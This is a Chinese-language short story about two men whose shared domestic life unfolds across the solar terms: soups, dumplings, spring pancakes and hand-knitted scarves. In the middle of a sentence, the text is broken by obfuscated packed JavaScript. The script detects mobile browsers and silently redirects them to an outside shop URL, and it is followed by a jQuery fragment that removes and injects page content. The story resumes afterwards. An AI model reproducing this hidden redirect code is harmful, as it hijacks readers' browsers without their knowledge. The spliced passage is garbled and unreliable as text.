立秋那天，苌斓起得比闹钟还早。他站在厨房里，把夏天最后一点酸梅汤从冰箱里拿出来，倒进玻璃壶里，放在灶台旁边。然后从柜子里拿出豆浆机，擦干净灰尘，插上电试了试，嗡鸣声稳稳地响起来。他说今天立秋，酸梅汤喝完这一壶就不煮了，明天开始喝豆浆。忘海靠在厨房门框上，头发还翘着一撮，说好。
苌斓转身从冰箱里拿出昨晚泡好的黄豆，倒进豆浆机里，又抓了一把红枣，一颗一颗去核。动作很慢，和以前一样仔细。他说立秋要贴秋膘，下午去菜市场买排骨，炖排骨汤，放当归和黄芪，你爸的配方。忘海说好，目光落在他手指上——那双手洗过围巾、搓过冰粉、绕过大半个夏天的毛线团，现在正在去红枣核，每一颗都掰得干干净净。
下午他们去菜市场。苌斓在肉摊前蹲下来挑排骨，一根一根看过去，太肥的不要，骨头太粗的也不要。忘海站在旁边帮他拎菜篮子，看着他的手指在排骨上轻轻按了按，又凑近闻了闻，最后挑了两根小排。摊主大姐一边称排骨一边说你家这位会挑，一看就是常做饭的。苌斓耳朵尖微微泛红，没有反驳，只是从钱包里抽出钞票，接过了那袋排骨。
秋天就这样来了。梧桐树的第一片黄叶落在他们肩上，苌斓伸手把它从忘海的头发上摘下来，对着阳光看了看，说叶子黄了。忘海说嗯，立秋了。苌斓把那片叶子放进口袋里，和钥匙、零钱、手机放在一起。他以前没有收集叶子的习惯，后来不知从什么时候开始，口袋里总有一两片梧桐叶——有时候是绿的，有时候是黄的，都是从对方身上摘下来的。
傍晚，苌斓站在灶台前，把焯好水的排骨放进砂锅里，加清水、当归、黄芪、红枣，大火烧开之后转小火慢慢炖。汤色渐渐变成乳白，药膳的香气混着排骨的肉香弥漫开来。他系着那条洗得发白的围裙，袖子卷到手肘，手腕上那道旧疤在蒸气的湿润里几乎看不出来了。他搅了搅汤，对忘海说秋天短，再过几天就是白露，要抓紧时间把薄围巾织完。忘海坐在餐桌旁，面前摊着笔记本电脑，屏幕上的方案还没保存。他说好，明天开始织，你织围巾，我画图。
秋天确实很短。白露那天，苌斓把衣柜里的薄围巾拿出来晾在阳台上，两条灰色，一条深一条浅，被秋风轻轻吹动。秋分那天，他们去公园散步，梧桐叶落了一地。苌斓走在前头，踩在落叶上沙沙响，走几步就回头看一眼忘海有没有跟上来。寒露之后天开始凉了，苌斓把薄围巾换成稍厚的那条，也给忘海换上，站在门口踮着脚绕上去，一圈一圈，和每一个秋天一样。霜降那天早上，草地上覆着一层薄薄的霜白，苌斓蹲在阳台的薄荷盆前，发现叶子边缘冻得发紫。他说霜降了，薄荷要搬进屋里。忘海帮他把花盆搬进客厅放在茶几旁边，就在紫砂杯和针线盒之间的空位上。
然后就是立冬。苌斓又起得比闹钟早，把薄围巾叠好放进衣柜深处，把厚围巾拿出来挂在衣架上。豆浆机里的红枣豆浆冒着热气，保温杯并排放在灶台上。他站在窗前看着梧桐树光秃秃的枝丫，喝了口豆浆，说立冬了，该吃饺子了。忘海系上围裙站在他旁边，两人一个擀皮一个包馅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724417|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，动作比几年前熟练了太多。冬至那天雪下得很大，他们吃完饺子窝在沙发上，苌斓把织了大半年的新围巾绕在忘海脖子上试长短，说好像织长了一点，要不要拆掉几行。忘海低头看着围巾末端那几行整齐的针脚，说不用，长一点好，可以绕两圈。苌斓说那就留着，明年你围着它，我围旧的，还是换着戴。
小寒过了就是大寒。大寒那天冷得刺骨，苌斓炖了羊肉汤，放了当归和黄芪，和立冬时炖排骨汤的配方一模一样。他们面对面坐在餐桌两端，热汤冒着白气，模糊了两个人的脸。然后又是一年立春。
苌斓站在阳台上，手里拿着那两条洗干净的厚围巾。阳光从梧桐树新发的嫩芽间漏下来，落在他摊开的掌心上。他回头朝屋里喊，说立春了，晚上吃春饼。忘海放下手里的书，站起来走进厨房。面粉、鸡蛋、豆芽、韭菜，一样一样摆在料理台上，和去年立春一模一样。窗外的梧桐树又开始发芽了，嫩绿的叶苞从光秃秃的枝丫上冒出来。苌斓把春饼端上桌，忘海咬了一口说酱放多了有点咸。苌斓说明年立春少放半勺。忘海说好，然后伸手把他嘴角沾的甜面酱轻轻擦掉。
日子就这么一年一年地过。春天洗围巾，夏天搓冰粉，秋天捡梧桐叶，冬天炖排骨汤。每一个立春都吃春饼，每一个夏至都去荷塘看萤火虫，每一个立秋都喝酸梅汤，每一个冬至都包饺子。一年四季，二十四节气，柴米油盐，都在那间不大的厨房里流转。梧桐树叶子黄了又绿，绿了又黄，而他们始终并肩站在路口等对方，和以前一样，和以后也一样。